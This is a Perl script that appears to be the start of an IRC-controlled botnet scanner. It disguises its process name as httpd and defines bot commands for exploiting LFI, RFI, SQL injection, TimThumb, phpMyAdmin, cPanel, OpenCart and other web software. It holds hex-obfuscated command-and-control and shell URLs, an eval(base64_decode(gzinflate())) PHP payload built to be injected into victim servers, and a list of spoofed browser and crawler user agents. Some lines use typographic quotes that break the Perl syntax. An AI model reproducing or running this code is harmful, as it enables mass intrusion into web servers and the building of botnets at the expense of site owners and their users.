#!/usr/bin/perl ################################################# # _,.-----.,_ # ,-~ ~-. # ,^_xJoker ___^. # Y ,--._ I _.--. Y # | Y ~-. | ,-~ Y | # | | }:{ | | # j l / | \ ! l # .-~ (__,.--" .^. "--.,__) ~-. # ( / / | \ \ ) # \.____, ~ \/"\/ ~ .____,/ # ^.____ ____.^ # | |T ~\ ! ! /~ T| | # | |l _ _ _ _ _ !| | # | l \/V V V V V V\/ j | # l \ \|_|_|_|_|_|/ / ! # \ \[T T T T T TI/ / # \ `^-^-^-^-^-^' / # \ / # \. ,/ # "^-.___,-^" ################################################# # xJoker # # DONT UNDERSTAND -------------------DONT USE IT!! # # ————————————————————— # # --------------------------------------------------------------------------- # ################################################# use HTTP::Request; # use HTTP::Request::Common; # use HTTP::Request::Common qw(POST); # use URI::Escape; # use LWP::Simple; # use LWP 5.64; # use LWP::UserAgent; # use Socket; # use IO::Socket; # use IO::Socket::INET; # use IO::Select; # use MIME::Base64; # use Digest::MD5 qw(md5_hex); # ################################################# my $datetime = localtime;
my $fakeproc = "\x2f\x75\x73\x72\x2f\x73\x62\x69\x6e\x2f\x68\x74\x74\x70\x64";
my $nickname = "You\[".(int(rand(99999)))."\]abused"; my $ident = "BoT"; my $channel = “#xxxscan#"; my $shchn = “#xxxsshow#"; my $admin = “xxxTijN";
my @verbindnaar = ("\x4e\x7a\x59\x6c\x4d\x6a\x63\x6c\x5a\x6a\x59\x6c\x5a\x54\x49\x6c\x4d\x7a\x59\x6c\x4d\x6a\x63\x6c\x4f\x54\x59\x6c\x4d\x54\x59\x6c\x4e\x6a\x63\x6c\x4d\x54\x59\x6c\x59\x54\x59\x6c\x5a\x54\x49\x6c\x4d\x7a\x59\x6c\x4d\x6a\x63\x6c\x4f\x54\x59\x6c");
my @deurtje = ("\x4e\x7a\x4d\x6c\x4e\x6a\x4d\x6c\x4e\x6a\x4d\x6c\x4e\x6a\x4d\x6c","\x4d\x44\x4d\x6c\x4d\x44\x4d\x6c\x4d\x44\x4d\x6c\x4e\x7a\x4d\x6c");
my $nob0dy = " 4,1CraZy 8Creation 9Zzz "; my $lfilogo = " 12( 4@ LFI 12)"; my $lfdlogo = " 12( 4@ LFD 12)"; my $rfilogo = " 12( 4@ RFI 12)"; my $e107logo = " 12( 4@ e107 12)"; my $xmllogo = " 12( 4@ XML 12)"; my $sqllogo = " 12( 4@ SQL 12)"; my $oscologo = " 12( 4@ OSCO 12)"; my $cpanlogo = " 12( 4@ Cpanel 12)"; my $zenlogo = " 12( 4@ ZEN 12)"; my $oplogo = " 12( 4@ OpenCart 12)"; my $admlogo = " 12( 4@ phpMyAdmin 12)"; my $ossqllogo = " 12( 4@ OSCO-SQL 12)"; my $timlogo = " 12( 4@ TIMTHUMB 12)"; my $pmwilogo = " 12( 4@ PmWiki 12)";
my $lficmd = '!lfi'; my $lfdcmd = '!lfd'; my $rficmd = '!rfi'; my $e107cmd = '!e107'; my $xmlcmd = '!xml'; my $sqlcmd = '!sql'; my $oscocmd = '!osco'; my $cpancmd = '!cpan'; my $zencmd = '@zen'; my $opcmd = '!op'; my $admcmd = '!adm'; my $timcmd = '!tim'; my $pmwicmd = '!pmw';
my $cmdlfi = '!cmdlfi'; my $cmde107 = '!cmde107'; my $cmdxml = '!cmdxml';
my $inject0r = "\x5a\x6a\x4d\x6c\x4e\x44\x63\x6c\x4f\x44\x63\x6c\x4e\x44\x63\x6c\x5a\x54\x49\x6c\x4e\x44\x63\x6c\x5a\x6a\x59\x6c\x4d\x6a\x59\x6c\x4d\x44\x63\x6c\x5a\x6a\x49\x6c\x4d\x7a\x63\x6c\x4e\x44\x59\x6c\x5a\x6a\x59\x6c\x5a\x44\x59\x6c\x5a\x54\x49\x6c\x5a\x6a\x49\x6c\x5a\x44\x59\x6c\x5a\x6a\x59\x6c\x4d\x7a\x59\x6c\xa\x5a\x54\x49\x6c\x59\x7a\x59\x6c\x4d\x54\x59\x6c\x4e\x44\x63\x6c\x5a\x54\x59\x6c\x4e\x54\x59\x6c\x4d\x6a\x63\x6c\x4e\x44\x59\x6c\x5a\x54\x59\x6c\x4d\x54\x59\x6c\x59\x7a\x59\x6c\x4d\x7a\x63\x6c\x4f\x54\x59\x6c\x4e\x44\x59\x6c\x4f\x54\x59\x6c\x5a\x44\x59\x6c\x5a\x54\x49\x6c\x5a\x44\x59\x6c\x5a\x6a\x59\x6c\xa\x4d\x7a\x59\x6c\x5a\x54\x49\x6c\x4d\x6a\x63\x6c\x4e\x54\x59\x6c\x4e\x7a\x59\x6c\x4e\x7a\x59\x6c\x5a\x6a\x59\x6c\x59\x7a\x59\x6c\x4d\x6a\x59\x6c\x5a\x6a\x49\x6c\x5a\x6a\x49\x6c\x59\x54\x4d\x6c\x4d\x44\x63\x6c\x4e\x44\x63\x6c\x4e\x44\x63\x6c\x4f\x44\x59\x6c"; my $b0tshell = "\x4e\x44\x63\x6c\x4f\x44\x63\x6c\x4e\x44\x63\x6c\x5a\x54\x49\x6c\x4f\x44\x59\x6c\x4d\x7a\x63\x6c\x5a\x6a\x49\x6c\x4d\x7a\x63\x6c\x4e\x44\x59\x6c\x5a\x6a\x59\x6c\x5a\x44\x59\x6c\x5a\x54\x49\x6c\x5a\x6a\x49\x6c\x5a\x44\x59\x6c\x5a\x6a\x59\x6c\x4d\x7a\x59\x6c\x5a\x54\x49\x6c\x59\x7a\x59\x6c\x4d\x54\x59\x6c\xa\x4e\x44\x63\x6c\x5a\x54\x59\x6c\x4e\x54\x59\x6c\x4d\x6a\x63\x6c\x4e\x44\x59\x6c\x5a\x54\x59\x6c\x4d\x54\x59\x6c\x59\x7a\x59\x6c\x4d\x7a\x63\x6c\x4f\x54\x59\x6c\x4e\x44\x59\x6c\x4f\x54\x59\x6c\x5a\x44\x59\x6c\x5a\x54\x49\x6c\x5a\x44\x59\x6c\x5a\x6a\x59\x6c\x4d\x7a\x59\x6c\x5a\x54\x49\x6c\x4d\x6a\x63\x6c\xa\x4e\x54\x59\x6c\x4e\x7a\x59\x6c\x4e\x7a\x59\x6c\x5a\x6a\x59\x6c\x59\x7a\x59\x6c\x4d\x6a\x59\x6c\x5a\x6a\x49\x6c\x5a\x6a\x49\x6c\x59\x54\x4d\x6c\x4d\x44\x63\x6c\x4e\x44\x63\x6c\x4e\x44\x63\x6c\x4f\x44\x59\x6c"; my $b0tak = "\x4e\x44\x63\x6c\x4f\x44\x63\x6c\x4e\x44\x63\x6c\x5a\x54\x49\x6c\x4d\x6a\x59\x6c\x4d\x7a\x63\x6c\x5a\x6a\x49\x6c\x4d\x7a\x63\x6c\x4e\x44\x59\x6c\x5a\x6a\x59\x6c\x5a\x44\x59\x6c\x5a\x54\x49\x6c\x5a\x6a\x49\x6c\x5a\x44\x59\x6c\x5a\x6a\x59\x6c\x4d\x7a\x59\x6c\x5a\x54\x49\x6c\x59\x7a\x59\x6c\x4d\x54\x59\x6c\xa\x4e\x44\x63\x6c\x5a\x54\x59\x6c\x4e\x54\x59\x6c\x4d\x6a\x63\x6c\x4e\x44\x59\x6c\x5a\x54\x59\x6c\x4d\x54\x59\x6c\x59\x7a\x59\x6c\x4d\x7a\x63\x6c\x4f\x54\x59\x6c\x4e\x44\x59\x6c\x4f\x54\x59\x6c\x5a\x44\x59\x6c\x5a\x54\x49\x6c\x5a\x44\x59\x6c\x5a\x6a\x59\x6c\x4d\x7a\x59\x6c\x5a\x54\x49\x6c\x4d\x6a\x63\x6c\xa\x4e\x54\x59\x6c\x4e\x7a\x59\x6c\x4e\x7a\x59\x6c\x5a\x6a\x59\x6c\x59\x7a\x59\x6c\x4d\x6a\x59\x6c\x5a\x6a\x49\x6c\x5a\x6a\x49\x6c\x59\x54\x4d\x6c\x4d\x44\x63\x6c\x4e\x44\x63\x6c\x4e\x44\x63\x6c\x4f\x44\x59\x6c";
my $b0tcmd = 'preg_replace("/.*/e","\x65\x76\x61\x6c\x28\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\'7VxLn6LKkv9AvRjEsk+7mIWiIpRQpSggO4EqRB562weFn34iIkERsUrsPn1n5p4Fv+4sySQyMuIfj4xMh9c5sznZ2Ib+bovhbmGO14oQ/NUbb0Inlg9O2E4ts3twYngncrLf1qoQqdu5qR6lYVewm2PvLeGe4e+eGw1SSZisbL4VLQzHe9W6Sxhn+aZ5vsPrqRvpqbTivkmRu7Qj158brXgUNVquGP7L9lsHJ3L8UYd7loSOd/OJkZ6x/zp98pWVkipH6Z4+S6epUB/JT1TB/+RdQd7NzWUKtAVE66r/9fiRup4bT2z8pmu6qXJHn134pkntV18+zvnB/h66bH4SOin2kX46grRFnn/yDd8RB0en6QJfGb/U3mA5n/YbyjFIrKkcWlH/qIqDlboKjvOj6ls9dzVfLcOXnncHTyfpwnBjy5Ro7JH/NT0LsX10xUHDFT3qM596TfXYB1rmiSXqoXqcc+q086QY/ScrUlIrGvjqcRLMgf7n6fYL/nT5uSl58lA/WqZ8lHqcNzfldG4Ga+jrAW2yMA5kQevg/z0r1vdzlH3+yXOaE5DT8fpZ68A3un9J+dzFMHoW+mt5OFkvTGX3GqkHO3pCuY4cvr1a8O3EMp5Kv1sbq7GNc3mXG9y28nexnbqC646ESQjPcdRTkmct2EgXfJ9wCzE8jqYt5Bu8721eUqDRCwJXXG6clPvmoA7zYWAZLe6Z6Sf1lcXB1hE9pBVlObZABxWQGWkVFHjZjeymtJbFoK30tsFimpzGnfPtvRWFsZG6J32AufwF7/58TgMv/87CmK+Bf6kt6vvnM70ZBri23CTdi00t+Ab44RVl5MSXWA3taLyWwm531lA8yX+qoiNBzAEaNi9JzqMzfyxz8m5H4WqRelW/7+ZGuM/5807rTGsduUZrBfhzsP1u/g7R+JZ2ch41YYwt8G9pRfrB8r0L2my/sGbDbfX8Irlh+Z22NESd4dZW5IbuUCnL1Vad9lOQgb9KMrCyjTGuY/g27G4RA54FCXhUWKtYjzIZP32brYvu49oU1sV3jflWERL+ecq1gd/yNHC8F1+6lLvSPG6s1WvWd3/rOyrw5uXER+Jl++I7qF/wPsrwM81zYis6t5GEeSSd297rlPOVXudD8i/l5+1ibHqKerG3BM+fztr9idYBfDrRtl8Y6k/Aq1tyluGs65Z5WsmHYPOqzZ5ujbVaiIM9yCzg+wUNZ/3g0Q4ADoBlqsC405iLqL2xS7JX+kYlzix4vXWpM7i+HOFhLicL0CsLbL8sqjtrsP0AXfVkf+6d2532qyYlSg9o1C7Wk2QVMfVKHwEvngUZxCx8kQRpX0XbnF8ubZ/mfot/Py0zAOxAu33Gtmv92hwWN3D49I0qbMp4T3z3AvmC32SrQqDjxzr7neT3Mb4pt/nWCf6v8y3nC479AG/G/wm8eYAvs/8EvlzYqy95gzZrNT4qaT175Q7ahPlo/y/7cVc2s2Szl69aJ7D5j8Dksf21/bENoFUAWw/+mhMNWlffZDi5c3iKj46uIR/doUQ+VJUNBbvxHdZjq/i3xnFv+ge2qcaVNkxsbeb8ttxniX3mfCMwjt0bts9a202VQ9/aMpeJLbYD9CvH4FeyMXdkv1+q7HK0PDhNpDP/P9n2qjnRWuE3Cn4F/Q3pGvX6leMTXiPfc79hUDE2+fM5z+gd0LVLv+BS5856V4o1Sn7zx8pu6nvwz4nnyEPgX7DQthXj5WvQIBpkMXRxrtA+WjzJOfYDWb/m//s1baE9VMMr+ir0QRKtgwP+w2LKJS/pZPMqqgeXYoaTDG3w78/pdnM934JsI33ok6FeZHM1oN+d9G4sf3niFePTU3ofz3FeanNhTlaLrK9xHLjV/L3Rn/igLh1+5knhQNf0sf/iV6/Pmd6zzwX49A4yH1u8DniAscKE9AF89mt+F54KnLjibf4NHN/k2w3kD5PpKr0v8oS7+e15LIdzY3sHLyDuCv/hRcYLTdMtdcY59/BjebYX4dHkPw4W74bWgPnqGc1kw57FRqBqXo6DG9D5tlRpJwkbl645WYPf7r0PE6/Srz/nUmLmM3T8Z4jjbuHNl3pRxMih2pjHKod4kel8YmpJgtiLsdioHC9WrkUFBlU8TtPduKK6vvHNj6/kqYZc5TxYzU3ATEFuYI5GWq3vGv+85sud1Zutc/xGewc8uZmvcPl2agnuDZz6Nd7d1pmCPn6ZN7tPfyp4UW17fssa5c/ZNtvNCfgXsy/8Ttk2e3IXdQf+dV/8rgi2hrO0bmEtwG5RngjWEvM+zfFS0qTL+PiL59qu3eSR70T6cnG8bz2/HreUP6m5fpbxAbEC+UA5XzdOow3+nxtbxuSd/HqR4dM/OPLl2uY4klqmys1NmauHJVU5NfJJvJfIDUFuspxvF+KPdnryiytis88eK1K3gANhKTe7r/Lv76SV5lod19ySBeCRMfhZ4bd/xdvAjpUv7PBVX8TojQNzJn/cOMWSX8vaA3J3wSMxTMqxEe6LFG3F/Ty4mM/JZ16YHdQdjnKkIvocrYZt6OnCUNb4fYrdtE4k+13U7b1rNECWwhWs/8YpxNTkv8X6zjLlzTzFcbu2Ema518pxVfdeHXpMny6ecx53KG/cCGKj9PPcpxTuHCWa7J1GkprTNeU4zmv/5MO6fMPcCPirHPOd5NbcmAQFnCAZeWB9PsfkSn3Qt+hr/n/ipR0NdiDvf5aXNfyVL/3/qzXK4oGIcsD+iweQh/uH7LmdJ67nF9S2NXaU2YFfsDU382Gf8uNhDE/npkP8u18OSrnNIdjz3KabajwSJrtz/P9H5hC60WALPK8hzxPWh+yBtbSFZVWuD/OAF/ZhhHONPkK7hEsPyZbH9rs/mdcRbFU4T6XvtWRJBN/baCzBZ7mVw7yc16ByXuCXBT+VOuuX8fVN1FeUH+SXoS1+vLM5YE6ovbONwd6qI9dsTPDhyjlU2bHJdutPlqHUxLLb+UFYG+6r3OAn41IOBsegnJvWb09DXZkK9e3yJSZ004Vp4Zp9EV9Jed/viP8u2BNbK9JTB/PrxUb4zPnB0dI6fi6zNdcY/N7Gjup6irnlm9iCftQHyLW8pRqPgiw/Hytz0J89AaMZ9wVIntYFHao9FvK77Gea4pM/ynSjrm9vRW3UWfArO1jf8QP0qGHHY5AFwD3QpXLNx70P20+BMVjOePk6a+nTflLPDz+vX24TEvBnedrbqMyfUS1WDDGfn/d9wb33mNVeFOjZ1OFT7j/UlVVWgzVZO/GsZhzTKeAZ1o7kce0SZZLwlvYM0qSIp9tCLU5Bjrcf2Vwfk9kh1vCo3GIoN54LelQ/hkR5YjrgiB8HS5xBzPuBtW/Zt2ri9u09DcTzr/YzPhmXciQwRrY/M2286LMPpT5eMz7W9r/zb/TQ926B3Qx3RXr+kM+T2M0u2OuaOHtZ01P002rJygOxzt+hL7XWur49pXwl43PIYq2CXbij5vGaBw7E6oA7qLMHh83rpK/wvVSq3Ef+4hm664XxAT7RILKMNupGsjC74Z/MBzjirRq67sYRZzdq52rpe4J1dJLQb0v9X7FT+Dxsq8Cvyuh4aJ3q5O/Z44in/CBb05py/651atiVc9zxZqqcZXD/G2zi3XPNYgGKeTL6//Hj/pxu/FY/rnYeKO6yOv3V2hulP7xR3u71UzV9Skarzl7ROry6mjfr28tzLQbVRGidb1Lvjr2R4vNAvhrX1YrVw5zf5bbiZK/PcZBcqFHvNx7BfNKdB22jw6vL3DaW85BYe3yKy0KssQVbkHYdJcK6/Jaj+NIjOcja+5q/IttGI0mdIUgN0htyFFcX8kEob1g3fF4LX/KAZx7wZgWYcbSMyQPzrJFn/ZW9m6a7BxqXlvCID/nv0wlJm0QOxSlWSS9QF+Sm5NfcS8po+WMyxU8OLt/a2vwgeAkbjtLrHJXp2NMg1oD1DLG+BHN3dhSGtL+YrxPMdeR3ZzaPe4862Nlwb6Xd2DLdEL4ROtF4/6f8Etqrrp8f+wX/rx/gfgbZ44jOezy+d/gL8pc/j+ClJbabdvRxmBvj76aeYN35hyp0RyAX3pztJ4Pf1EW8uMQYwFdJbG0wB3oeYwKx35P/SByEz/01Ehfr9zj2/gKvy37Tq3HCnviX8gi/gTaiL3ZBBjAnjbiUkJxm+dbH5J1oqq+Tf4NsClQ7gTnZAchgyb6bPcnD+sKzHenu58YgLb2bZu/+aVmN5vzHwcGaJNFKHvl2ve9e1st/KTOEn4CHv9F+6MMwAd77o+j8uyQuOXfY+T5K2y27qacjVt94YBjaObhiIxnx1gbiL0ciP+X+eRR99fPea93928nG0mrvFZTPVkz0WTiTeptgYcy8cwzajZyovft31+ZA/Lhxe6zP6ZzrmM4z1d5bwfpBrJl7eH8ZdNxqtA8uneNgtWR14+IH6hWoXvbC14lmaPP24N/sXa3bAPyMQScOVnOcn3+ohRe/RRZjPXBEC/SmHdTlL/qlp3iebPd487pS/v6aphPWn2n/JE7M/q9Wnh/57HmwpvIk63Xl3BXVxAJZtfmv6t6vvn9Rj8XO+wTf1D+Q3851oEB7sQ55W4iFz/9vnP+vDgr/r12L9nfFjHeM+4Wvclt2Pt9jrjifcklL6buy2N5agzaey2LnmArnr89zLY5x4/y+n70jWg07UrmFAXHZkNWAsvzl1Rn0yG0CForl+uenreTT+R3HoX20zB/M6C7ecZCfH2Y+WRLgueCLPF4BG26dcZZF8hHgX7q74pO5XPiFhxGrB9nQnKrO7jMbO54FoTHV1SH+Zqed74wXWW32kCuf1y/WhN/7jZdpYyKPuRnO8SD11rTnn9vt93FpHuLtMx2l9bmoOT3pqamGTqzazA5OrvbAMP/rmjLmEAt3TlzXBp7f69xc36u6//JdFmde0LkHp7FlcxngWa4u58R6eHM9xWubXpYZWBd2dvNsL+geDohTiJ5TrEK0b4rreHF3A4xJPM3OE7ZejfwcpYznE/25L22lSPEhpgiwDb4dtOfYjrG9wDsuogDb/6J2iu0E2zts29T/B7YTbDvYH3pC+4htF/vHM2zz1Mb+sYftFrbfsH/Qx7aA7TH+HoyxPcD2hH53sC1hW8PxgzW2R9ie4vgBh+0XamP/sIPtCbZn2D+k+c2wrWP/kOZnYtvA/iHNb3H2Ny/PMLLzhIx/RlPGXM9aEQpnFJHXzWAjCZynaKGbnX04nyHB3499dsaP3g1tWAO8TyEZnfNy9K03kOmR1vl41rlKWhSfzmSyd/Ud3SPy3Otsz74MoxPkdQd6gOcI2fqfcI58tePvmdP4t8xJ1X7LnPjH5vSrd7ZcY6I2U0fSYOuP4oyGaScZCZ3WyzRovWjBXgq5ivszSuusPZV4XTyHztaw3EcVyn1m5T78+V4MhktV2LHAXBXd39PN1wtj3eht2jjdPzUnnCA9XxFuEE6QnkfUJpwgPd8QbhBObLG9Jdyg/rg3Jx8INwgnCAdSahNOEA40CDewf0w48ES4QThDONAl3CCcID3vE24QTpCeDwk3CCdIz5+pTThDOKYSblB/wrEx4QbhBM1vSrhBOEHzM6hNOEPzswhHCnsGssjuDyJ5RNttWJXyiPGYFV/JI9q+ZDHsvsO6LG1jhvco0XlEvK8FbGSQ/R11zx9p3E5abZmtzfN9YEfkIdgyoxFSbZ64TMwma1ONMtn+qvMy+nSi41n3VqaD/UQREo/kdhpsQN42mNN2BaxZL+7TYY2nurSZLaM7bPLvF+WN3XVW9GsuYiCyayPcrwdZBjk8LsxNSHcfIN1MFuUH9710a9gVwaYfLKE7Jd9R1ANJT1Iz97u8AGgZrBZZzlryJfpeOZcJ67kEfAndobp5i2YnLMB1OfUXntoQo64df7lzB+2cl1tlNeOppgL5T3dOhTvLCMhfWGRrQ3MU8W+dBOVBMLNakSHeK4eywJ37ER7D/wFf0UfDOnor7rQv9yDlhkX5pB+IOYzHYoMzT/KY8BDjJ89aEljwOGnSuKiT6YRnX1m0kvP6jC/P+MF7pfwd1UsTf6h2OmyzuYH8MBsGcr/2yvwsvQM4NPdGaedD6Y2f1KnDE0+0CW8ZCdke0DNeEn6gLCN/MhmxQpvqGWS0Qyhb+P4m60tj4j1eqIdgr2iMjN7HznaEIMf9LA/RtzaAvcdFLl9Ug4Tz6apjH/QztjZzY3Jw0s5B6jdCSwyXEC8HbqRvoS2MmnhfF90Z2C77pJdxKuna9sw/ZVviJbbxbj+IUWHO4qD1iQ9ba39VBzomjA5vRne9TUJLGOB+60UO6EQP3SMh+YWY7srm5rrj8OF3q7qe+379Ovn+pXrGArZc7UGUcjmnfcte4+JuOimerJze+jBKcc/ntAYZn5HnylYt7299ep9KLRybzZsZjg2YbE1MGeRY+i71QH+n1ftLV/HOjXj8eo+wYv9PtJogKxzu5wHWnGWu6oyAaLE9dfbu53eXDdWtZegJyB/o4wf4GIXxCnT+Mt+ErrgwWhs865DJ7Hepn/VLOzupICMSza3NWaYCNnSQzrXsXhSIc9l9g2d+k/0Fei9yBMWzTJn9ArnynvtdxIh3i2o65ePcsEKTb2D9rg/vgcx2sf6KswFPXYgtP38/wPvcPClq73P/wOGxrpB+Jx/BBHxXjpPXaUj7RH5xz6Cwr0Hj2gbWTaG+ypT7fZm1AT0u+jGcNFq7rC5y7QzAT2fn1RjGsjPR8DfyP0j3n9k3duy98/jKdLYbaSzPnPsxgsFidpyLXfB12Dz6Dbpvib7/xP6WSrlNlbM7nQKQdzorJIXZ3piR76uQHXyfcbqmB7oGWA4+j2zA8z4NBuokuzuu9I420Qf6RFdnZkPXNHpHzmmm+5dAD7iFcDEvf4Q1laLaBBuzKb2PewnM50DZpX5YFzBZuTz63eBfsfdAzvTUNqlGLkI/IGuvJX+SgF1aZzEr2lfwGztrrDu0THkH9iWSet2n8RH4IzAZUYbLHrP1tBYgU9aBfNSmEjNfgzudaZcED2tBQwdsoCTMsW+X9SVfNHnrg2/Y62zI12QyjmsU24JDcv6uMV+U5B193Wwesg99ex7ri7IBNL70GI243qCbkY018oKzkzO/geVw9Mr5qavi/Dy+cn68dMf8PO5ifr1x5fysu+YnXcxPWVXNz13dMz+MHQvz+6hev87l/K5+n8UF3QXb1X11+VboeOQPsffQpl7zJMHvA0/+C+hN5RTraWFd0txPZXwZrbgKHoD/SjwA36zpxFh7L6dcnPtZGR/2wNPrOfc6HM2Z+bRyxdhPymlshY3d9GIJ+uTnSj/t01DO9GhsLliDOGmCv2h27qEvJfrSDkSkeGdnJx5pTu5ffs5PiKkyfjbr8lPpeUh/dg7xemy1d1qrIxvbfYJ/oc/6nj7TAj3ZXH4cpAHed/wR3EffOFsTqe56J4rP+OmmdfnZ+UD6s72rirGlJF8rV2Bjv8G/0Of7PX104UxPHtPgPiXQlVr8knPSEub7jN5LvKf3a/vamb3jjIbanQSz79QG//vCVmOMkb13qgPJ7d8gaw92CdiV78Xf0e6cfheWRKs8lOPFcHLMxwOcsbNcw0XfzCazuJ7FdWS3ZRH0h+r8WqGbdpNx1OZwDdnfIabK74Webv/7fwA=\'\x29\x29\x29\x29\x3b",".");';
my @uagents = ('Microsoft Internet Explorer/4.0b1 (Windows 95)', 'Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)', 'Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)', 'Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)', 'Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)', 'Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)', 'Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)', 'Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)', 'Mozilla/4.40 (compatible; MSI4E 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)', 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)', 'Mozilla/4.0 (compatible; MSIE 7.0b; Win32)', 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Microsoft Pocket Internet Explorer/0.6', 'Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)', 'MOT-MPx220/1.400 Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone;', 'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.1; Windows NT 5.1;)', 'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1;)', 'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)', 'Advanced Browser (http://www.avantbrowser.com)', 'Avant Browser (http://www.avantbrowser.com)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)', 'Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515)', 'Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR)', 'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511', 'Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0', 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox', 'Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1', 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1', 'Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20051002 Firefox/1.6a1', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b2) Gecko/20060710 Firefox/2.0b2', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20060918 Firefox/2.0', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b', 'Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0', 'Mozilla/3.0 (OS/2; U)', 'Mozilla/3.0 (X11; I; SunOS 5.4 sun4m)', 'Mozilla/4.61 (Macintosh; I; PPC)', 'Mozilla/4.61 [en] (OS/2; U)', 'Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)','Mozilla/4.8 [en] (Windows NT 5.0; U)', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)', 'msnbot/1.1 (+http://search.msn.com/msnbot.htm)', 'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)', 'FreeWebMonitoring SiteChecker/0.1 (+http://www.freewebmonitoring.com)', 'Gigabot/3.0 (http://www.gigablast.com/spider.html)', 'gsa-crawler (Enterprise; GID-01422; jplastiras@google.com)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1;en-US;rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12', 'IlTrovatore-Setaccio/1.2 (http://www.iltrovatore.it/aiuto/faq.html)', 'Mozilla/5.0 (Windows;U;Windows NT 5.1; l-PL;rv:1.8.1.24pre) Gecko/20100228 K-Meleon/1.5.4', 'Infoseek SideWinder/2.0B (Linux 2.4 i686)', 'Mozilla/5.0 (X11;U;Linux i686 (x86_64);en-US;rv:1.9.0.16) Gecko/2009122206 Firefox/3.0.16 Flock/2.5.6', 'Mozilla/5.0 (compatible;Baiduspider/2.0;+http://www.baidu.com/search/spider.html)', 'Mozilla/5.0 (Windows;U;Windows NT 6.0; en-US; rv:1.8.1.8pre) Gecko/20070928 Firefox/2.0.0.7 Navigator/9.0RC1', 'Mozilla/5.0 (compatible;bingbot/2.0;+http://www.bing.com/bingbot.htm)', 'Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)');
